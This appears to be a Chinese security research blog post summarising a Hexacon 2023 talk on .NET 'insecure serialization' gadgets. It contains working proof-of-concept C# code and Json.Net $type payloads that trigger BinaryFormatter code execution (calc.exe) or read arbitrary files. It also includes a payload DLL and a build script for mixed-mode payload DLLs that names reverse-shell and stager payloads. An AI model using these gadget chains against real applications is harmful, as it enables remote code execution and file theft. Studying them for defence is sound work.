dotnet Insecure Serialization
前言
https://github.com/thezdi/presentations/blob/main/2023_Hexacon/whitepaper-net-deser.pdf
这几天花了点时间认真学习了 @chudyPB 在 Hexacon 2023 分享的议题: Exploiting Hardened .NET Deserialization: New Exploitation Ideas and Abuse of Insecure Serialization
PDF 一共有 124 页, 主要内容如下
- SolarWinds Platform 的多个反序列化漏洞以及黑名单绕过
- 多个第三方库的反序列化 Gadget
- Delta Electronics InfraSuite Device Master MessagePack 反序列化漏洞
- 引入 “不安全的序列化” (Insecure Serializaion) 这个攻击面, 分享了多个基于 .NET Framework 和第三方库的序列化 Gadget
- 多个基于. NET Framework 的任意 Getter 调用 Gadget, 然后将其与 “不安全的序列化” 结合, 形成多条新的反序列化 Gadget
- 多个基于 .NET >= 5 (.NET Core) 的反序列化 Gadget
本文简单记录一下关于 “不安全的序列化” (Insecure Serializaion) 这部分的内容
关于任意 Getter 调用以及新的反序列化 Gadget 这两个部分的内容会放在下一篇文章
攻击面
![](https://img.exp10it.io/2024/02/202402122141835.png)
![](https://img.exp10it.io/2024/02/202402122141842.png)
流程图
![](https://img.exp10it.io/2024/02/202402122141866.png)
不安全的序列化的本质其实就是调用某个 getter, 而 getter 内部存在恶意操作
.NET 的大部分序列化器例如 Json.Net, 在反序列化时只会调用构造函数和 setter, 这一点与 Java 中的 FastJson 不同, FastJson 在某些场景下依然能够实现在反序列化时调用 getter (通过 JSONObject.toString 或 $ref
属性)
不安全的序列化这个概念我感觉更类似于 Ruilin 师傅前几年提出的 “Java 后反序列化漏洞”, 即漏洞本身并不是由反序列化时 readObject 的调用关系而产生, 而是在反序列化拿到对象后, 针对这个对象进行一些其它的操作, 例如 toString/finalize 或者其它方法, 在这些方法中存在一些调用关系, 导致恶意操作, 因此被称为 “后” 反序列化漏洞
http://rui0.cn/archives/1338
https://xz.aliyun.com/t/12459
.NET Framework
![](https://img.exp10it.io/2024/02/202402122141872.png)
SettingsPropertyValue
序列化时触发 BinaryFormatter 反序列化
PropertyValue getter
![](https://img.exp10it.io/2024/02/202402122141898.png)
Deserialize
![](https://img.exp10it.io/2024/02/202402122141929.png)
判断 SerializedValue 的实际类型
- byte[]: 直接触发 BinaryFormatter 反序列化
- string: 调用 GetObjectFromString
GetObjectFromString 最终也会触发 BinaryFormatter 反序列化 (需要为上面的 Property 设置 SerializeAs 枚举)
![](https://img.exp10it.io/2024/02/202402122141813.png)
payload
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
|
using ConsoleApp.Gadget;
using Newtonsoft.Json;
using System.Configuration;
using System.IO;
using System.Runtime.Serialization.Formatters.Binary;
namespace ConsoleApp.InsecureSerialization
{
internal class SettingsPropertyValueDemo
{
public static void Main(string[] args)
{
TextFormattingRunPropertiesMarshal textFormattingRunProperties = new TextFormattingRunPropertiesMarshal("calc.exe");
byte[] data;
using (MemoryStream mem = new MemoryStream())
{
BinaryFormatter binaryFormatter = new BinaryFormatter();
binaryFormatter.Serialize(mem, textFormattingRunProperties);
data = mem.ToArray();
}
SettingsProperty property = new SettingsProperty("test");
SettingsPropertyValue settingsPropertyValue = new SettingsPropertyValue(property);
settingsPropertyValue.Deserialized = false;
settingsPropertyValue.SerializedValue = data;
//Console.Write(settingsPropertyValue.PropertyValue);
JsonSerializerSettings settings = new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.All,
};
JsonConvert.SerializeObject(settingsPropertyValue, settings);
}
}
}
|
作者指出 SettingsPropertyValue 的构造方法可能不适用于 Json.Net 反序列化
![](https://img.exp10it.io/2024/02/202402122141266.png)
报错
1
|
Newtonsoft.Json.JsonSerializationException: Unable to find a constructor to use for type System.Configuration.SettingsProperty. A class should either have a default constructor, one constructor with arguments or a constructor marked with the JsonConstructor attribute.
|
另外部分序列化器可能会先调用 Name getter, 导致抛出异常终止序列化过程
![](https://img.exp10it.io/2024/02/202402122141303.png)
SecurityException
序列化时触发 BinaryFormatter 反序列化
Method getter
![](https://img.exp10it.io/2024/02/202402122141313.png)
getMethod
![](https://img.exp10it.io/2024/02/202402122141352.png)
ByteArrayToObject
![](https://img.exp10it.io/2024/02/202402122141416.png)
m_serializedMethodInfo 字段放入 BinaryFormatter 反序列化 Gadget
这条序列化 Gadget 存在一些限制
![](https://img.exp10it.io/2024/02/202402122141532.png)
需要组合两种不同类型的序列化器:
- 支持 Serializable 特性 (GetObjectData + 特殊反序列化构造函数)
- 不支持 Serializable 特性/在序列化时优先调用 getter
原因如下
![](https://img.exp10it.io/2024/02/202402122141937.png)
部分序列化器在反序列化恢复字段时会调用 Method setter, 导致覆盖 m_serializedMethodInfo 的内容, 无法触发恶意 Gadget
因此需要某个不完全依赖于 setter 赋值的序列化器, 例如 BinaryFormatter/Json.Net, 都支持调用特殊的反序列化构造函数
![](https://img.exp10it.io/2024/02/202402122141009.png)
其中 m_serializedMethodInfo 字段直接从 SerializationInfo 内取值, 绕过了 Method setter
另外后续序列化时所使用的序列化器应当直接调用 Method getter, 而不是 GetObjectData 方法
payload
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
|
using ConsoleApp.Gadget;
using System.IO;
using System.Reflection;
using System.Runtime.Serialization.Formatters.Binary;
using System.Security;
using System.Web.Script.Serialization;
namespace ConsoleApp.InsecureSerialization
{
internal class SecurityExceptionDemo
{
public static void Main(string[] args)
{
TextFormattingRunPropertiesMarshal textFormattingRunProperties = new TextFormattingRunPropertiesMarshal("calc.exe");
byte[] data;
using (MemoryStream mem = new MemoryStream())
{
BinaryFormatter binaryFormatter = new BinaryFormatter();
binaryFormatter.Serialize(mem, textFormattingRunProperties);
data = mem.ToArray();
}
SecurityException securityException = new SecurityException();
typeof(SecurityException)
.GetField("m_serializedMethodInfo", BindingFlags.Instance | BindingFlags.NonPublic)
.SetValue(securityException, data);
//Console.Write(securityException.Method);
JavaScriptSerializer javaScriptSerializer = new JavaScriptSerializer();
javaScriptSerializer.Serialize(securityException);
}
}
}
|
CompilerResults
序列化时触发本地 DLL 加载 (Assembly.Load), 类似 AssemblyInstaller
PathToAssembly
![](https://img.exp10it.io/2024/02/202402122141096.png)
CompiledAssembly getter
![](https://img.exp10it.io/2024/02/202402122141103.png)
![](https://img.exp10it.io/2024/02/202402122141245.png)
payload
1
2
3
4
5
|
{
"$type": "System.CodeDom.Compiler.CompilerResults, System.CodeDom, Version=6.0.0.0, Culture=neutral, PublicKeyToken=cc7b13ffcd2ddd51",
"tempFiles": null,
"PathToAssembly": "C:\\Users\\Public\\mixedassembly.dll"
}
|
DLL 需要使用混合程序集 (Mixed Assembly), 参考: https://github.com/noperator/CVE-2019-18935
1
2
3
4
5
6
7
8
9
|
#include <windows.h>
#include <stdio.h>
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
{
if (fdwReason == DLL_PROCESS_ATTACH)
system("calc.exe");
return TRUE;
}
|
编译脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
|
:: Author: @noperator
:: Purpose: Compile a uniquely named mixed mode .NET assembly DLL as a payload
:: for exploiting CVE-2019-18935.
:: Notes: - You may need to adjust the VSPATH variable to point to the path
:: of your Visual Studio installation.
:: - Generates both 32- and 64-bit payloads if no CPU architecture is
:: specified as a second CLI argument.
:: - Writes payloads to the folder specified by the OUTDIR variable.
:: Usage: .\build-dll.bat <PAYLOAD> [<ARCH>]
:: .\build-dll.bat sleep.c
:: .\build-dll.bat reverse-shell.c x86
:: .\build-dll.bat sliver-stager.c amd64
@echo off
:: Point this to the path of your Visual Studio installation.
set VSPATH=C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\Build
:: Create directory for compiled payloads.
set OUTDIR=payloads
if not exist "%OUTDIR%" mkdir "%OUTDIR%"
:: Get payload name.
set PAYLOAD=%1
set BASENAME=%PAYLOAD:~0,-2%
:: Get CPU architecture. Generates both if none specified.
set ARCH=%2
if [%ARCH%]==[] set ARCH=x86 amd64
:: Create dummy C# file to consistute managed portion of mixed mode assembly.
echo class Empty {} > empty.cs
:: Compile payload. (set|end)local required to prevent a growing PATH variable
:: from multiple calls to vcvarsall.bat. Otherwise, multiple runs of this
:: script in the same CMD window will eventually fail with: "The input line is
:: too long. The syntax of the command is incorrect."
for %%a in (%ARCH%) do (
@echo on
echo.
echo [*] Set up %%a build environment...
setlocal
call "%VSPATH%\vcvarsall.bat" %%a
echo.
echo [*] Compile managed code, without generating an assembly...
csc /target:module empty.cs
echo [*] Compile unmanaged code, without linking...
cl /c %PAYLOAD%
echo.
echo [*] Link the compiled .netmodule and .obj files, creating a mixed mode .NET assembly DLL...
link /DLL /LTCG /CLRIMAGETYPE:IJW /out:%OUTDIR%\%BASENAME%-%%a.dll %BASENAME%.obj empty.netmodule
echo.
echo [*] Clean up build artifacts and tear down %%a build environment...
del %BASENAME%.obj empty.netmodule
endlocal
dir %OUTDIR%\%BASENAME%-%%a.dll
@echo off
)
|
注意自 .NET Framework 4 开始禁止通过 Assembly.Load 加载远程 DLL, 因此需要与写文件 Gadget 结合
第三方库
![](https://img.exp10it.io/2024/02/202402122141533.png)
ActiveMQObjectMessage
位于 Apache NMS ActiveMQ
序列化时触发 Binary Formatter 反序列化, 兼容大多数基于 setter 的序列化器
![](https://img.exp10it.io/2024/02/202402122141619.png)
Formatter 默认使用 BinaryFormatter
![](https://img.exp10it.io/2024/02/202402122141769.png)
2.1.0 版本增加了 TrustedClassFilter (SerializationBinder), 需要指定 Connection.DeserializationPolicy
但是对于序列化 gadget 没有影响, 自己手动构造将 DeserializationPolicy 设置为 null 就行
![](https://img.exp10it.io/2024/02/202402122141840.png)
< 2.1.0 版本
1
2
3
4
|
{
"$type": "Apache.NMS.ActiveMQ.Commands.ActiveMQObjectMessage, Apache.NMS.ActiveMQ, Version=2.0.1.0, Culture=neutral, PublicKeyToken=82756feee3957618",
"Content": "base64encoded-binaryformatter-gadget"
}
|
>= 2.1.0 版本
1
2
3
4
5
6
7
8
9
10
11
12
13
|
{
"$type": "Apache.NMS.ActiveMQ.Commands.ActiveMQObjectMessage, Apache.NMS.ActiveMQ, Version=2.1.0.0, Culture=neutral, PublicKeyToken=82756feee3957618",
"Content": "base64-encoded-binaryformatter-gadget",
"Connection": {
"connectionUri": "http://localhost",
"transport": {
"$type": "Apache.NMS.ActiveMQ.Transport.Failover.FailoverTransport, Apache.NMS.ActiveMQ, Version=2.1.0.0, Culture=neutral, PublicKeyToken=82756feee3957618"
},
"clientIdGenerator": {
"$type": "Apache.NMS.ActiveMQ.Util.IdGenerator, Apache.NMS.ActiveMQ, Version=2.1.0.0, Culture=neutral, PublicKeyToken=82756feee3957618"
}
}
}
|
OptimisticLockedTextFile
位于 Amazon AWSSDK.Core
反序列化时可以读取任意文件, 但是需要通过序列化来接收文件内容
![](https://img.exp10it.io/2024/02/202402122141987.png)
Read
![](https://img.exp10it.io/2024/02/202402122245406.png)
![](https://img.exp10it.io/2024/02/202402122141508.png)
读取 FilePath 路径的文件内容, 然后将其保存在 OriginalContents 和 Lines 字段
payload
1
2
3
4
|
{
"$type": "Amazon.Runtime.Internal.Util.OptimisticLockedTextFile, AWSSDK.Core, Version=3.3.0.0, Culture=neutral, PublicKeyToken=885c28607f98e604",
"filePath": "C:\\Windows\\win.ini"
}
|
序列化时仅会读取 Lines 字段的内容
![](https://img.exp10it.io/2024/02/202402122141519.png)
CustomUri
位于 Castle Core
反序列化时会调用 Environment.ExpandEnvironmentVariables 解析 resourceIdentifier 中的环境变量
同样需要通过序列化来接收数据
1
2
3
4
|
{
"$type": "Castle.Core.Resource.CustomUri, Castle.Core, Version=5.0.0.0, Culture=neutral, PublicKeyToken=407dd0808d44fbdc",
"resourceIdentifier": "C:\\test\\%PATHEXT%"
}
|
QueryPartitionProvider
位于 Microsoft Azure.Core
在反序列化时触发 Json.Net 序列化, 可以与上面的序列化 Gadget 相结合
![](https://img.exp10it.io/2024/02/202402122141581.png)
![](https://img.exp10it.io/2024/02/202402122141730.png)
利用流程
![](https://img.exp10it.io/2024/02/202402122141736.png)
例如与 ActiveMQObjectMessage 结合
1
2
3
4
5
6
7
8
9
|
{
"$type": "Microsoft.Azure.Cosmos.Query.Core.QueryPlan.QueryPartitionProvider, Microsoft.Azure.Cosmos.Client, Version=3.32.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
"queryengineConfiguration": {
"poc": {
"$type": "Apac he.NMS.ActiveMQ.Commands.ActiveMQObjectMessage, Apache.NMS.ActiveMQ, Version=2.0.1.0, Culture=neutral, PublicKeyToken=82756feee3957618",
"Content": "base64-encoded-binaryformatter-gadget"
}
}
}
|